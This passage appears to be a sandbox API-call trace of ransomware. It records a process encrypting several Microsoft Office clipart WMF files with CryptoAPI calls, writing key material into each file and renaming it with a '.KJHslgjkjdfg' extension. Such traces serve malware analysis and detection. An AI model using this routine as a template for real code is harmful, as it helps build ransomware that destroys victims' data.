pdwDataLen=0x29df258*=0x25c0) returned 1 [0218.672] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.672] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x25c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x25c0, lpOverlapped=0x0) returned 1 [0218.672] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.672] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.672] SetEndOfFile (hFile=0x130) returned 1 [0218.675] GetProcessHeap () returned 0x990000 [0218.675] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.675] GetProcessHeap () returned 0x990000 [0218.675] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.675] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00116_.wmf.kjhslgjkjdfg")) returned 1 [0218.677] CloseHandle (hObject=0x130) returned 1 [0218.677] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36ebde00, ftCreationTime.dwHighDateTime=0x1bf3bda, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36ebde00, ftLastWriteTime.dwHighDateTime=0x1bf3bda, nFileSizeHigh=0x0, nFileSizeLow=0x1234, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00126_.WMF", cAlternateFileName="")) returned 1 [0218.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00126_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.678] GetProcessHeap () returned 0x990000 [0218.678] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.678] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.678] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.678] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0218.681] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.681] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.681] GetProcessHeap () returned 0x990000 [0218.681] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.681] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.681] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.681] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.681] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.681] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.681] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.681] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.682] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.682] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.682] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.682] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.682] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1234, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1234, lpOverlapped=0x0) returned 1 [0218.683] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1240, dwBufLen=0x1240 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1240) returned 1 [0218.683] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.683] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1240, lpOverlapped=0x0) returned 1 [0218.683] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.683] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.683] SetEndOfFile (hFile=0x130) returned 1 [0218.686] GetProcessHeap () returned 0x990000 [0218.686] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.686] GetProcessHeap () returned 0x990000 [0218.686] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.686] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00126_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00126_.wmf.kjhslgjkjdfg")) returned 1 [0218.688] CloseHandle (hObject=0x130) returned 1 [0218.688] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x373d6f00, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x373d6f00, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x235c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00172_.WMF", cAlternateFileName="")) returned 1 [0218.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.689] GetProcessHeap () returned 0x990000 [0218.689] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.690] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.690] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.690] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.695] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.695] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.695] GetProcessHeap () returned 0x990000 [0218.695] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.695] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.695] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.695] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.696] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.696] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.696] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.696] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.696] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.696] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.696] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.696] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.696] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x235c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x235c, lpOverlapped=0x0) returned 1 [0218.697] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2360, dwBufLen=0x2360 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2360) returned 1 [0218.698] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.698] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2360, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2360, lpOverlapped=0x0) returned 1 [0218.698] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.698] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2434, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.698] SetEndOfFile (hFile=0x130) returned 1 [0218.701] GetProcessHeap () returned 0x990000 [0218.701] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.701] GetProcessHeap () returned 0x990000 [0218.701] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.701] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00172_.wmf.kjhslgjkjdfg")) returned 1 [0218.703] CloseHandle (hObject=0x130) returned 1 [0218.703] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75ca2e00, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75ca2e00, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0x2142, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00178_.WMF", cAlternateFileName="")) returned 1 [0218.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.704] GetProcessHeap () returned 0x990000 [0218.704] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.704] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.704] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.704] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0218.705] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.705] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.706] GetProcessHeap () returned 0x990000 [0218.706] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.706] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.706] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.706] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.706] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.706] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.706] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.706] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.706] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.706] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.706] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.706] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.706] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2142, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2142, lpOverlapped=0x0) returned 1 [0218.707] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2150, dwBufLen=0x2150 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2150) returned 1 [0218.708] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.708] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2150, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2150, lpOverlapped=0x0) returned 1 [0218.708] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.708] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.708] SetEndOfFile (hFile=0x130) returned 1 [0218.710] GetProcessHeap () returned 0x990000 [0218.710] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.710] GetProcessHeap () returned 0x990000 [0218.710] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.710] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00178_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00178_.wmf.kjhslgjkjdfg")) returned 1 [0218.711] CloseHandle (hObject=0x130) returned 1 [0218.712] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefc9200, ftCreationTime.dwHighDateTime=0x1bf324c, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefc9200, ftLastWriteTime.dwHighDateTime=0x1bf324c, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00232_.WMF", cAlternateFileName="")) returned 1 [0218.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00232_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.712] GetProcessHeap () returned 0x990000 [0218.713] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.713] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.713] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.713] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.713] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.713] GetProcessHeap () returned 0x990000 [0218.713] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.713] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.713] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.713] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.716] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.716] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.716] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.716] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.716] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.716] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.716] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.716] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.717] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6cc0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6cc0, lpOverlapped=0x0) returned 1 [0218.718] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6cc0, dwBufLen=0x6cc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6cc0) returned 1 [0218.718] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.718] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6cc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6cc0, lpOverlapped=0x0) returned 1 [0218.718] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.718] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6d94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.718] SetEndOfFile (hFile=0x130) returned 1 [0218.721] GetProcessHeap () returned 0x990000 [0218.721] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.721] GetProcessHeap () returned 0x990000 [0218.721] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.721] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00232_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00232_.wmf.kjhslgjkjdfg")) returned 1 [0218.723] CloseHandle (hObject=0x130) returned 1 [0218.723] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfba2a500, ftCreationTime.dwHighDateTime=0x1bd4b02, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, 